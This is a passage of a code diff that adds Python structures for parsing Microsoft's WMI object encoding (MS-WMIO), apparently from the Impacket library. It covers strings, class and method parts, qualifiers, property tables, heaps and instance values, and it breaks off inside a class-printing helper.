+OBJECT_ENCODING_LENGTH = '<L=0'
+
+# 2.2.73 EncodingLength
+ENCODING_LENGTH = '<L=0'
+
+# 2.2.78 Encoded-String
+ENCODED_STRING_FLAG = 'B=0'
+
+# 2.2.76 ReservedOctet
+RESERVED_OCTET = 'B=0'
+
+# 2.2.28 NdTableValueTableLength
+NDTABLE_VALUE_TABLE_LENGTH = '<L=0'
+
+# 2.2.80 DictionaryReference
+DICTIONARY_REFERENCE = {
+    0 : '"',
+    1 : 'key',
+    2 : 'NADA',
+    3 : 'read',
+    4 : 'write',
+    5 : 'volatile',
+    6 : 'provider',
+    7 : 'dynamic',
+    8 : 'cimwin32',
+    9 : 'DWORD',
+   10 : 'CIMTYPE',
+}
+
+class ENCODED_STRING(Structure):
+    commonHdr = (
+        ('Encoded_String_Flag', ENCODED_STRING_FLAG),
+    )
+
+    tascii = (
+        ('Character', 'z'),
+    )
+
+    tunicode = (
+        ('Character', 'u'),
+    )
+
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        if data is not None:
+            # Let's first check the commonHdr
+            self.fromString(data)
+            self.structure = ()
+            self.isUnicode = False
+            if len(data) > 1:
+                if self['Encoded_String_Flag'] == 0:
+                    self.structure += self.tascii
+                    # Let's search for the end of the string
+                    index = data[1:].find(b'\x00')
+                    data  = data[:index+1+1]
+                else:
+                    self.structure = self.tunicode
+                    self.isUnicode = True
+
+                self.fromString(data)
+        else:
+            self.structure = self.tascii
+            self.data = None
+
+    def __getitem__(self, key):
+        if key == 'Character' and self.isUnicode:
+            return self.fields['Character'].decode('utf-16le')
+        return Structure.__getitem__(self, key)
+
+
+# 2.2.8 DecServerName
+DEC_SERVER_NAME = ENCODED_STRING
+
+# 2.2.9 DecNamespaceName
+DEC_NAMESPACE_NAME = ENCODED_STRING
+
+# 2.2.7 Decoration
+class DECORATION(Structure):
+    structure = (
+        ('DecServerName', ':', DEC_SERVER_NAME),
+        ('DecNamespaceName', ':', DEC_NAMESPACE_NAME),
+    )
+
+# 2.2.69 HeapRef
+HEAPREF = '<L=0'
+
+# 2.2.68 HeapStringRef
+HEAP_STRING_REF = HEAPREF
+
+# 2.2.19 ClassNameRef
+CLASS_NAME_REF = HEAP_STRING_REF
+
+# 2.2.16 ClassHeader
+class CLASS_HEADER(Structure):
+    structure = (
+        ('EncodingLength', ENCODING_LENGTH),
+        ('ReservedOctet', RESERVED_OCTET),
+        ('ClassNameRef', CLASS_NAME_REF),
+        ('NdTableValueTableLength', NDTABLE_VALUE_TABLE_LENGTH),
+    )
+
+# 2.2.17 DerivationList
+class DERIVATION_LIST(Structure):
+    structure = (
+        ('EncodingLength', ENCODING_LENGTH),
+        ('_ClassNameEncoding','_-ClassNameEncoding', 'self["EncodingLength"]-4'),
+        ('ClassNameEncoding', ':'),
+    )
+
+# 2.2.82 CimType
+CIM_TYPE = '<L=0'
+CIM_ARRAY_FLAG = 0x2000
+
+class EnumType(type):
+    def __getattr__(self, attr):
+        return self.enumItems[attr].value
+
+class CIM_TYPE_ENUM(Enum):
+#    __metaclass__ = EnumType
+    CIM_TYPE_SINT8      = 16
+    CIM_TYPE_UINT8      = 17
+    CIM_TYPE_SINT16     = 2
+    CIM_TYPE_UINT16     = 18
+    CIM_TYPE_SINT32     = 3
+    CIM_TYPE_UINT32     = 19
+    CIM_TYPE_SINT64     = 20
+    CIM_TYPE_UINT64     = 21
+    CIM_TYPE_REAL32     = 4
+    CIM_TYPE_REAL64     = 5
+    CIM_TYPE_BOOLEAN    = 11
+    CIM_TYPE_STRING     = 8
+    CIM_TYPE_DATETIME   = 101
+    CIM_TYPE_REFERENCE  = 102
+    CIM_TYPE_CHAR16     = 103
+    CIM_TYPE_OBJECT     = 13
+    CIM_ARRAY_SINT8     = 8208
+    CIM_ARRAY_UINT8     = 8209
+    CIM_ARRAY_SINT16    = 8194
+    CIM_ARRAY_UINT16    = 8210
+    CIM_ARRAY_SINT32    = 8195
+    CIM_ARRAY_UINT32    = 8201
+    CIM_ARRAY_SINT64    = 8202
+    CIM_ARRAY_UINT64    = 8203
+    CIM_ARRAY_REAL32    = 8196
+    CIM_ARRAY_REAL64    = 8197
+    CIM_ARRAY_BOOLEAN   = 8203
+    CIM_ARRAY_STRING    = 8200
+    CIM_ARRAY_DATETIME  = 8293
+    CIM_ARRAY_REFERENCE = 8294
+    CIM_ARRAY_CHAR16    = 8295
+    CIM_ARRAY_OBJECT    = 8205
+
+CIM_TYPES_REF = {
+    CIM_TYPE_ENUM.CIM_TYPE_SINT8.value    : 'b=0',
+    CIM_TYPE_ENUM.CIM_TYPE_UINT8.value    : 'B=0',
+    CIM_TYPE_ENUM.CIM_TYPE_SINT16.value   : '<h=0',
+    CIM_TYPE_ENUM.CIM_TYPE_UINT16.value   : '<H=0',
+    CIM_TYPE_ENUM.CIM_TYPE_SINT32.value   : '<l=0',
+    CIM_TYPE_ENUM.CIM_TYPE_UINT32.value   : '<L=0',
+    CIM_TYPE_ENUM.CIM_TYPE_SINT64.value   : '<q=0',
+    CIM_TYPE_ENUM.CIM_TYPE_UINT64.value   : '<Q=0',
+    CIM_TYPE_ENUM.CIM_TYPE_REAL32.value   : '<f=0',
+    CIM_TYPE_ENUM.CIM_TYPE_REAL64.value   : '<d=0',
+    CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value  : '<H=0',
+    CIM_TYPE_ENUM.CIM_TYPE_STRING.value   : HEAPREF,
+    CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value : HEAPREF,
+    CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value: HEAPREF,
+    CIM_TYPE_ENUM.CIM_TYPE_CHAR16.value   : '<H=0',
+    CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value   : HEAPREF,
+}
+
+CIM_TYPE_TO_NAME = {
+    CIM_TYPE_ENUM.CIM_TYPE_SINT8.value    : 'sint8',
+    CIM_TYPE_ENUM.CIM_TYPE_UINT8.value    : 'uint8',
+    CIM_TYPE_ENUM.CIM_TYPE_SINT16.value   : 'sint16',
+    CIM_TYPE_ENUM.CIM_TYPE_UINT16.value   : 'uint16',
+    CIM_TYPE_ENUM.CIM_TYPE_SINT32.value   : 'sint32',
+    CIM_TYPE_ENUM.CIM_TYPE_UINT32.value   : 'uint32',
+    CIM_TYPE_ENUM.CIM_TYPE_SINT64.value   : 'sint64',
+    CIM_TYPE_ENUM.CIM_TYPE_UINT64.value   : 'uint64',
+    CIM_TYPE_ENUM.CIM_TYPE_REAL32.value   : 'real32',
+    CIM_TYPE_ENUM.CIM_TYPE_REAL64.value   : 'real64',
+    CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value  : 'bool',
+    CIM_TYPE_ENUM.CIM_TYPE_STRING.value   : 'string',
+    CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value : 'datetime',
+    CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value: 'reference',
+    CIM_TYPE_ENUM.CIM_TYPE_CHAR16.value   : 'char16',
+    CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value   : 'object',
+}
+
+CIM_NUMBER_TYPES = (
+    CIM_TYPE_ENUM.CIM_TYPE_CHAR16.value, CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value,
+    CIM_TYPE_ENUM.CIM_TYPE_SINT8.value, CIM_TYPE_ENUM.CIM_TYPE_UINT8.value,
+    CIM_TYPE_ENUM.CIM_TYPE_SINT16.value, CIM_TYPE_ENUM.CIM_TYPE_UINT16.value,
+    CIM_TYPE_ENUM.CIM_TYPE_SINT32.value, CIM_TYPE_ENUM.CIM_TYPE_UINT32.value,
+    CIM_TYPE_ENUM.CIM_TYPE_SINT64.value, CIM_TYPE_ENUM.CIM_TYPE_UINT64.value,
+    CIM_TYPE_ENUM.CIM_TYPE_REAL32.value, CIM_TYPE_ENUM.CIM_TYPE_REAL64.value,
+)
+
+# 2.2.61 QualifierName
+QUALIFIER_NAME = HEAP_STRING_REF
+
+# 2.2.62 QualifierFlavor
+QUALIFIER_FLAVOR = 'B=0'
+
+# 2.2.63 QualifierType
+QUALIFIER_TYPE = CIM_TYPE
+
+# 2.2.71 EncodedValue
+class ENCODED_VALUE(Structure):
+    structure = (
+        ('QualifierName', QUALIFIER_NAME),
+    )
+
+    @classmethod
+    def getValue(cls, cimType, entry, heap):
+        # Let's get the default Values
+        pType = cimType & (~(CIM_ARRAY_FLAG|Inherited))
+
+        if entry != 0xffffffff:
+            heapData = heap[entry:]
+            if cimType & CIM_ARRAY_FLAG:
+                # We have an array, let's set the right unpackStr and dataSize for the array contents
+                dataSize = calcsize(HEAPREF[:-2])
+                numItems = unpack(HEAPREF[:-2], heapData[:dataSize])[0]
+                heapData = heapData[dataSize:]
+                array = list()
+                unpackStrArray =  CIM_TYPES_REF[pType][:-2]
+                dataSizeArray = calcsize(unpackStrArray)
+                if cimType == CIM_TYPE_ENUM.CIM_ARRAY_STRING.value:
+                    # We have an array of strings
+                    # First items are DWORDs with the string pointers
+                    # inside the heap. We don't need those ones
+                    heapData = heapData[4*numItems:]
+                    # Let's now grab the strings
+                    for _ in range(numItems):
+                        item = ENCODED_STRING(heapData)
+                        array.append(item['Character'])
+                        heapData = heapData[len(item.getData()):]
+                elif cimType == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value:
+                    # Discard the pointers
+                    heapData = heapData[dataSize*numItems:]
+                    for item in range(numItems):
+                        msb = METHOD_SIGNATURE_BLOCK(heapData)
+                        unit = ENCODING_UNIT()
+                        unit['ObjectEncodingLength'] = msb['EncodingLength']
+                        unit['ObjectBlock'] = msb['ObjectBlock']
+                        array.append(unit)
+                        heapData = heapData[msb['EncodingLength']+4:]
+                else:
+                    for item in range(numItems):
+                        # ToDo: Learn to unpack the rest of the array of things
+                        array.append(unpack(unpackStrArray, heapData[:dataSizeArray])[0])
+                        heapData = heapData[dataSizeArray:]
+                value = array
+            elif pType == CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value:
+                if entry == 0xffff:
+                    value = 'True'
+                else:
+                    value = 'False'
+            elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:
+                # If the value type is CIM-TYPE-OBJECT, the EncodedValue is a HeapRef to the object encoded as an
+                # ObjectEncodingLength (section 2.2.4) followed by an ObjectBlock (section 2.2.5).
+
+                # ToDo: This is a hack.. We should parse this better. We need to have an ENCODING_UNIT.
+                # I'm going through a METHOD_SIGNATURE_BLOCK first just to parse the ObjectBlock
+                msb = METHOD_SIGNATURE_BLOCK(heapData)
+                unit = ENCODING_UNIT()
+                unit['ObjectEncodingLength'] = msb['EncodingLength']
+                unit['ObjectBlock'] = msb['ObjectBlock']
+                value = unit
+            elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,
+                               CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value):
+                value = entry
+            else:
+                try:
+                    value = ENCODED_STRING(heapData)['Character']
+                except UnicodeDecodeError:
+                    if logging.getLogger().level == logging.DEBUG:
+                        LOG.debug('Unicode Error: dumping heapData')
+                        hexdump(heapData)
+                    raise
+
+            return value
+
+# 2.2.64 QualifierValue
+QUALIFIER_VALUE = ENCODED_VALUE
+
+# 2.2.60 Qualifier
+class QUALIFIER(Structure):
+    commonHdr = (
+        ('QualifierName', QUALIFIER_NAME),
+        ('QualifierFlavor', QUALIFIER_FLAVOR),
+        ('QualifierType', QUALIFIER_TYPE),
+    )
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        if data is not None:
+            # Let's first check the commonHdr
+            self.fromString(data)
+            self.structure = (('QualifierValue', CIM_TYPES_REF[self["QualifierType"] & (~CIM_ARRAY_FLAG)]),)
+            self.fromString(data)
+        else:
+            self.data = None
+
+# 2.2.59 QualifierSet
+class QUALIFIER_SET(Structure):
+    structure = (
+        ('EncodingLength', ENCODING_LENGTH),
+        ('_Qualifier','_-Qualifier', 'self["EncodingLength"]-4'),
+        ('Qualifier', ':'),
+    )
+
+    def getQualifiers(self, heap):
+        data = self['Qualifier']
+        qualifiers = dict()
+        while len(data) > 0:
+            itemn = QUALIFIER(data)
+            if itemn['QualifierName'] == 0xffffffff:
+                qName = b''
+            elif itemn['QualifierName'] & 0x80000000:
+                qName = DICTIONARY_REFERENCE[itemn['QualifierName'] & 0x7fffffff]
+            else:
+                qName = ENCODED_STRING(heap[itemn['QualifierName']:])['Character']
+
+            value = ENCODED_VALUE.getValue(itemn['QualifierType'], itemn['QualifierValue'], heap)
+            qualifiers[qName] = value
+            data = data[len(itemn):]
+
+        return qualifiers
+ 
+# 2.2.20 ClassQualifierSet
+CLASS_QUALIFIER_SET = QUALIFIER_SET
+
+# 2.2.22 PropertyCount
+PROPERTY_COUNT = '<L=0'
+
+# 2.2.24 PropertyNameRef
+PROPERTY_NAME_REF = HEAP_STRING_REF
+
+# 2.2.25 PropertyInfoRef
+PROPERTY_INFO_REF = HEAPREF
+
+# 2.2.23 PropertyLookup
+class PropertyLookup(Structure):
+    structure = (
+        ('PropertyNameRef', PROPERTY_NAME_REF),
+        ('PropertyInfoRef', PROPERTY_INFO_REF),
+    )
+
+# 2.2.31 PropertyType
+PROPERTY_TYPE = '<L=0'
+
+# 2.2.33 DeclarationOrder
+DECLARATION_ORDER = '<H=0'
+
+# 2.2.34 ValueTableOffset
+VALUE_TABLE_OFFSET = '<L=0'
+
+# 2.2.35 ClassOfOrigin
+CLASS_OF_ORIGIN = '<L=0'
+
+# 2.2.36 PropertyQualifierSet
+PROPERTY_QUALIFIER_SET = QUALIFIER_SET
+
+# 2.2.30 PropertyInfo
+class PROPERTY_INFO(Structure):
+    structure = (
+        ('PropertyType', PROPERTY_TYPE),
+        ('DeclarationOrder', DECLARATION_ORDER),
+        ('ValueTableOffset', VALUE_TABLE_OFFSET),
+        ('ClassOfOrigin', CLASS_OF_ORIGIN),
+        ('PropertyQualifierSet', ':', PROPERTY_QUALIFIER_SET),
+    )
+
+# 2.2.32 Inherited
+Inherited = 0x4000
+
+# 2.2.21 PropertyLookupTable
+class PROPERTY_LOOKUP_TABLE(Structure):
+    PropertyLookupSize = len(PropertyLookup())
+    structure = (
+        ('PropertyCount', PROPERTY_COUNT),
+        ('_PropertyLookup','_-PropertyLookup', 'self["PropertyCount"]*self.PropertyLookupSize'),
+        ('PropertyLookup', ':'),
+    )
+
+    def getProperties(self, heap):
+        propTable = self['PropertyLookup']
+        properties = dict()
+        for property in range(self['PropertyCount']):
+            propItemDict = dict()
+            propItem = PropertyLookup(propTable)
+            if propItem['PropertyNameRef'] & 0x80000000:
+                propName = DICTIONARY_REFERENCE[propItem['PropertyNameRef'] & 0x7fffffff]
+            else:
+                propName = ENCODED_STRING(heap[propItem['PropertyNameRef']:])['Character']
+            propInfo = PROPERTY_INFO(heap[propItem['PropertyInfoRef']:])
+            pType = propInfo['PropertyType']
+            pType &= (~CIM_ARRAY_FLAG)
+            pType &= (~Inherited)
+            sType = CIM_TYPE_TO_NAME[pType]
+ 
+            propItemDict['stype'] = sType
+            propItemDict['name'] = propName
+            propItemDict['type'] = propInfo['PropertyType']
+            propItemDict['order'] = propInfo['DeclarationOrder']
+            propItemDict['inherited'] = propInfo['PropertyType'] & Inherited
+            propItemDict['value'] = None
+
+            qualifiers = dict() 
+            qualifiersBuf = propInfo['PropertyQualifierSet']['Qualifier']
+            while len(qualifiersBuf) > 0:
+                record = QUALIFIER(qualifiersBuf)
+                if record['QualifierName'] & 0x80000000:
+                    qualifierName = DICTIONARY_REFERENCE[record['QualifierName'] & 0x7fffffff]
+                else:
+                    qualifierName = ENCODED_STRING(heap[record['QualifierName']:])['Character']
+                qualifierValue = ENCODED_VALUE.getValue(record['QualifierType'], record['QualifierValue'], heap)
+                qualifiersBuf = qualifiersBuf[len(record):]
+                qualifiers[qualifierName] = qualifierValue
+
+            propItemDict['qualifiers'] = qualifiers
+            properties[propName] = propItemDict
+
+            propTable = propTable[self.PropertyLookupSize:]
+
+        return OrderedDict(sorted(list(properties.items()), key=lambda x:x[1]['order']))
+        #return properties
+
+# 2.2.66 Heap
+HEAP_LENGTH = '<L=0'
+
+class HEAP(Structure):
+    structure = (
+        ('HeapLength', HEAP_LENGTH),
+        # HeapLength is a 32-bit value with the most significant bit always set 
+        # (using little-endian binary encoding for the 32-bit value), so that the 
+        # length is actually only 31 bits.
+        ('_HeapItem','_-HeapItem', 'self["HeapLength"]&0x7fffffff'),
+        ('HeapItem', ':'),
+    )
+
+# 2.2.37 ClassHeap
+CLASS_HEAP = HEAP
+
+# 2.2.15 ClassPart
+class CLASS_PART(Structure):
+    commonHdr = (
+        ('ClassHeader', ':', CLASS_HEADER),
+        ('DerivationList', ':', DERIVATION_LIST),
+        ('ClassQualifierSet', ':', CLASS_QUALIFIER_SET),
+        ('PropertyLookupTable', ':', PROPERTY_LOOKUP_TABLE),
+        ('_NdTable_ValueTable','_-NdTable_ValueTable', 'self["ClassHeader"]["NdTableValueTableLength"]'),
+        ('NdTable_ValueTable',':'),
+        ('ClassHeap', ':', CLASS_HEAP),
+        ('_Garbage', '_-Garbage', 'self["ClassHeader"]["EncodingLength"]-len(self)'),
+        ('Garbage', ':=b""'),
+    )
+    def getQualifiers(self):
+        return self["ClassQualifierSet"].getQualifiers(self["ClassHeap"]["HeapItem"])
+
+    def getProperties(self):
+        heap = self["ClassHeap"]["HeapItem"]
+        properties =  self["PropertyLookupTable"].getProperties(self["ClassHeap"]["HeapItem"])
+        sorted_props = sorted(list(properties.keys()), key=lambda k: properties[k]['order'])
+        valueTableOff = (len(properties) - 1) // 4 + 1
+        valueTable = self['NdTable_ValueTable'][valueTableOff:]
+        for key in sorted_props:
+            # Let's get the default Values
+            pType = properties[key]['type'] & (~(CIM_ARRAY_FLAG|Inherited))
+            if properties[key]['type'] & CIM_ARRAY_FLAG:
+                unpackStr = HEAPREF[:-2]
+            else:
+                unpackStr = CIM_TYPES_REF[pType][:-2]
+            dataSize = calcsize(unpackStr)
+            try:
+                itemValue = unpack(unpackStr, valueTable[:dataSize])[0]
+            except: 
+                LOG.error("getProperties: Error unpacking!!")
+                itemValue = 0xffffffff
+
+            if itemValue != 0xffffffff and itemValue > 0:
+                value = ENCODED_VALUE.getValue(properties[key]['type'], itemValue, heap)
+                properties[key]['value'] = "%s" % value
+            valueTable = valueTable[dataSize:]
+        return properties
+             
+# 2.2.39 MethodCount
+METHOD_COUNT = '<H=0'
+
+# 2.2.40 MethodCountPadding
+METHOD_COUNT_PADDING = '<H=0'
+
+# 2.2.42 MethodName
+METHOD_NAME = HEAP_STRING_REF
+
+# 2.2.43 MethodFlags
+METHOD_FLAGS = 'B=0'
+
+# 2.2.44 MethodPadding
+METHOD_PADDING = "3s=b''"
+
+# 2.2.45 MethodOrigin
+METHOD_ORIGIN = '<L=0'
+
+# 2.2.47 HeapQualifierSetRef
+HEAP_QUALIFIER_SET_REF = HEAPREF
+
+# 2.2.46 MethodQualifiers
+METHOD_QUALIFIERS = HEAP_QUALIFIER_SET_REF
+
+# 2.2.51 HeapMethodSignatureBlockRef
+HEAP_METHOD_SIGNATURE_BLOCK_REF = HEAPREF
+
+# 2.2.50 MethodSignature
+METHOD_SIGNATURE = HEAP_METHOD_SIGNATURE_BLOCK_REF
+
+# 2.2.48 InputSignature
+INPUT_SIGNATURE = METHOD_SIGNATURE
+
+# 2.2.49 OutputSignature
+OUTPUT_SIGNATURE = METHOD_SIGNATURE
+
+# 2.2.52 MethodHeap
+METHOD_HEAP = HEAP
+
+# 2.2.41 MethodDescription
+class METHOD_DESCRIPTION(Structure):
+    structure = (
+        ('MethodName',METHOD_NAME),
+        ('MethodFlags', METHOD_FLAGS),
+        ('MethodPadding', METHOD_PADDING),
+        ('MethodOrigin', METHOD_ORIGIN),
+        ('MethodQualifiers', METHOD_QUALIFIERS),
+        ('InputSignature', INPUT_SIGNATURE),
+        ('OutputSignature', OUTPUT_SIGNATURE),
+    )
+
+# 2.2.38 MethodsPart
+class METHODS_PART(Structure):
+    MethodDescriptionSize = len(METHOD_DESCRIPTION())
+    structure = (
+        ('EncodingLength',ENCODING_LENGTH),
+        ('MethodCount', METHOD_COUNT),
+        ('MethodCountPadding', METHOD_COUNT_PADDING),
+        ('_MethodDescription', '_-MethodDescription', 'self["MethodCount"]*self.MethodDescriptionSize'),
+        ('MethodDescription', ':'),
+        ('MethodHeap', ':', METHOD_HEAP),
+    )
+
+    def getMethods(self):
+        methods = OrderedDict()
+        data = self['MethodDescription']
+        heap = self['MethodHeap']['HeapItem']
+
+        for method in range(self['MethodCount']):
+            methodDict = OrderedDict()
+            itemn = METHOD_DESCRIPTION(data)
+            if itemn['MethodFlags'] & WBEM_FLAVOR_ORIGIN_PROPAGATED:
+               # ToDo
+               #print "WBEM_FLAVOR_ORIGIN_PROPAGATED not yet supported!"
+               #raise
+               pass
+            methodDict['name'] = ENCODED_STRING(heap[itemn['MethodName']:])['Character']
+            methodDict['origin'] = itemn['MethodOrigin']
+            if itemn['MethodQualifiers'] != 0xffffffff:
+                # There are qualifiers
+                qualifiersSet = QUALIFIER_SET(heap[itemn['MethodQualifiers']:])
+                qualifiers = qualifiersSet.getQualifiers(heap)
+                methodDict['qualifiers'] = qualifiers
+            if itemn['InputSignature'] != 0xffffffff:
+                inputSignature = METHOD_SIGNATURE_BLOCK(heap[itemn['InputSignature']:])
+                if inputSignature['EncodingLength'] > 0:
+                    methodDict['InParams'] = inputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties()
+                    methodDict['InParamsRaw'] = inputSignature['ObjectBlock']
+                    #print methodDict['InParams'] 
+                else:
+                    methodDict['InParams'] = None
+            if itemn['OutputSignature'] != 0xffffffff:
+                outputSignature = METHOD_SIGNATURE_BLOCK(heap[itemn['OutputSignature']:])
+                if outputSignature['EncodingLength'] > 0:
+                    methodDict['OutParams'] = outputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties()
+                    methodDict['OutParamsRaw'] = outputSignature['ObjectBlock']
+                else:
+                    methodDict['OutParams'] = None
+            data = data[len(itemn):]
+            methods[methodDict['name']] = methodDict
+
+        return methods
+
+# 2.2.14 ClassAndMethodsPart
+class CLASS_AND_METHODS_PART(Structure):
+    structure = (
+        ('ClassPart', ':', CLASS_PART),
+        ('MethodsPart', ':', METHODS_PART),
+    )
+
+    def getClassName(self):
+        pClassName = self['ClassPart']['ClassHeader']['ClassNameRef']
+        cHeap = self['ClassPart']['ClassHeap']['HeapItem']
+        if pClassName == 0xffffffff:
+            return 'None'
+        else:
+            className = ENCODED_STRING(cHeap[pClassName:])['Character']
+            derivationList = self['ClassPart']['DerivationList']['ClassNameEncoding']
+            while len(derivationList) > 0:
+                superClass = ENCODED_STRING(derivationList)['Character']
+                className += ' : %s ' % superClass
+                derivationList = derivationList[len(ENCODED_STRING(derivationList))+4:]
+            return className
+
+    def getQualifiers(self):
+        return self["ClassPart"].getQualifiers()
+
+    def getProperties(self):
+        #print format_structure(self["ClassPart"].getProperties())
+        return self["ClassPart"].getProperties()
+
+    def getMethods(self):
+        return self["MethodsPart"].getMethods()
+
+# 2.2.13 CurrentClass
+CURRENT_CLASS = CLASS_AND_METHODS_PART
+
+# 2.2.54 InstanceFlags
+INSTANCE_FLAGS = 'B=0'
+
+# 2.2.55 InstanceClassName
+INSTANCE_CLASS_NAME = HEAP_STRING_REF
+
+# 2.2.27 NullAndDefaultFlag
+NULL_AND_DEFAULT_FLAG = 'B=0'
+
+# 2.2.26 NdTable
+NDTABLE = NULL_AND_DEFAULT_FLAG
+
+# 2.2.56 InstanceData
+#InstanceData = ValueTable
+
+class CURRENT_CLASS_NO_METHODS(CLASS_AND_METHODS_PART):
+    structure = (
+        ('ClassPart', ':', CLASS_PART),
+    )
+    def getMethods(self):
+        return ()
+
+# 2.2.65 InstancePropQualifierSet
+INST_PROP_QUAL_SET_FLAG = 'B=0'
+class INSTANCE_PROP_QUALIFIER_SET(Structure):
+    commonHdr = (
+        ('InstPropQualSetFlag', INST_PROP_QUAL_SET_FLAG),
+    )
+    tail = (
+        # ToDo: this is wrong.. this should be an array of QualifierSet, see documentation
+        #('QualifierSet', ':', QualifierSet),
+        ('QualifierSet', ':', QUALIFIER_SET),
+    )
+
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        self.structure = ()
+        if data is not None:
+            # Let's first check the commonHdr
+            self.fromString(data)
+            if self['InstPropQualSetFlag'] == 2:
+                # We don't support this yet!
+                raise Exception("self['InstPropQualSetFlag'] == 2")
+            self.fromString(data)
+        else:
+            self.data = None
+
+# 2.2.57 InstanceQualifierSet
+class INSTANCE_QUALIFIER_SET(Structure):
+    structure = (
+        ('QualifierSet', ':', QUALIFIER_SET),
+        ('InstancePropQualifierSet', ':', INSTANCE_PROP_QUALIFIER_SET),
+    )
+
+# 2.2.58 InstanceHeap
+INSTANCE_HEAP = HEAP
+
+# 2.2.53 InstanceType
+class INSTANCE_TYPE(Structure):
+    commonHdr = (
+        ('CurrentClass', ':', CURRENT_CLASS_NO_METHODS),
+        ('EncodingLength', ENCODING_LENGTH),
+        ('InstanceFlags', INSTANCE_FLAGS),
+        ('InstanceClassName', INSTANCE_CLASS_NAME),
+        ('_NdTable_ValueTable', '_-NdTable_ValueTable',
+         'self["CurrentClass"]["ClassPart"]["ClassHeader"]["NdTableValueTableLength"]'),
+        ('NdTable_ValueTable',':'),
+        ('InstanceQualifierSet', ':', INSTANCE_QUALIFIER_SET),
+        ('InstanceHeap', ':', INSTANCE_HEAP),
+    )
+
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        self.structure = ()
+        if data is not None:
+            # Let's first check the commonHdr
+            self.fromString(data)
+            #hexdump(data[len(self.getData()):])
+            self.NdTableSize = (self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] - 1) //4 + 1
+            #self.InstanceDataSize = self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] * len(InstanceData())
+            self.fromString(data)
+        else:
+            self.data = None
+
+    def __processNdTable(self, properties):
+        octetCount = (len(properties) - 1) // 4 + 1  # see [MS-WMIO]: 2.2.26 NdTable
+        packedNdTable = self['NdTable_ValueTable'][:octetCount]
+        unpackedNdTable = [(byte >> shift) & 0b11 for byte in six.iterbytes(packedNdTable) for shift in (0, 2, 4, 6)]
+        for key in properties:
+            ndEntry = unpackedNdTable[properties[key]['order']]
+            properties[key]['null_default'] = bool(ndEntry & 0b01)
+            properties[key]['inherited_default'] = bool(ndEntry & 0b10)
+
+        return octetCount
+
+    @staticmethod
+    def __isNonNullNumber(prop):
+        return prop['type'] & ~Inherited in CIM_NUMBER_TYPES and not prop['null_default']
+
+    def getValues(self, properties):
+        heap = self["InstanceHeap"]["HeapItem"]
+        valueTableOff = self.__processNdTable(properties)
+        valueTable = self['NdTable_ValueTable'][valueTableOff:]
+        sorted_props = sorted(list(properties.keys()), key=lambda k: properties[k]['order'])
+        for key in sorted_props:
+            pType = properties[key]['type'] & (~(CIM_ARRAY_FLAG|Inherited))
+            if properties[key]['type'] & CIM_ARRAY_FLAG:
+                unpackStr = HEAPREF[:-2]
+            else:
+                unpackStr = CIM_TYPES_REF[pType][:-2]
+            dataSize = calcsize(unpackStr)
+            try:
+                itemValue = unpack(unpackStr, valueTable[:dataSize])[0]
+            except:
+                LOG.error("getValues: Error Unpacking!")
+                itemValue = 0xffffffff
+
+            # if itemValue == 0, default value remains
+            if itemValue != 0 or self.__isNonNullNumber(properties[key]):
+                value = ENCODED_VALUE.getValue( properties[key]['type'], itemValue, heap)
+                properties[key]['value'] = value
+            # is the value set valid or should we clear it? ( if not inherited )
+            elif properties[key]['inherited'] == 0:
+                properties[key]['value'] = None
+            valueTable = valueTable[dataSize:]
+        return properties
+
+# 2.2.12 ParentClass
+PARENT_CLASS = CLASS_AND_METHODS_PART
+
+# 2.2.13 CurrentClass
+CURRENT_CLASS = CLASS_AND_METHODS_PART
+
+class CLASS_TYPE(Structure):
+    structure = (
+        ('ParentClass', ':', PARENT_CLASS),
+        ('CurrentClass', ':', CURRENT_CLASS),
+    )
+
+# 2.2.5 ObjectBlock
+class OBJECT_BLOCK(Structure):
+    commonHdr = (
+        ('ObjectFlags', OBJECT_FLAGS),
+    )
+
+    decoration = (
+        ('Decoration', ':', DECORATION),
+    )
+
+    instanceType = (
+        ('InstanceType', ':', INSTANCE_TYPE),
+    )
+
+    classType = (
+        ('ClassType', ':', CLASS_TYPE),
+    )
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        self.ctParent  = None
+        self.ctCurrent = None
+
+        if data is not None:
+            self.structure = ()
+            if ord(data[0:1]) & 0x4:
+                # WMIO - 2.2.6 - 0x04 If this flag is set, the object has a Decoration block.
+                self.structure += self.decoration
+            if ord(data[0:1]) & 0x01:
+                # The object is a CIM class. 
+                self.structure += self.classType
+            else:
+                self.structure += self.instanceType
+
+            self.fromString(data)
+        else:
+            self.data = None
+
+    def isInstance(self):
+        if self['ObjectFlags'] & 0x01:
+            return False
+        return True
+
+    def printClass(self, pClass, cInstance = None):
+        qualifiers = pClass.getQualifiers()
+
+        for qualifier in qualifiers:
+            print("[%s]" % qualifier)
+
+        className = pClass.getClassName()
+
+        print("class %s \n{" % className)
+
+        properties = pClass.getProperties()
+        if cInstance is not None:
+            properties = cInstance.getValues(properties)
+
+        for pName in properties:
+            #if property['inherited'] == 0:
+                qualifiers = properties[pName]['qualifiers']
+                for qName in qualifiers:
+                    if qName != 'CIMTYPE':
+                        print('\t[%s(%s)]' % (qName, qualifiers[qName]))
+                print("\t%s %s" % (properties[pName]['stype'], properties[pName]['name']), end=' ')
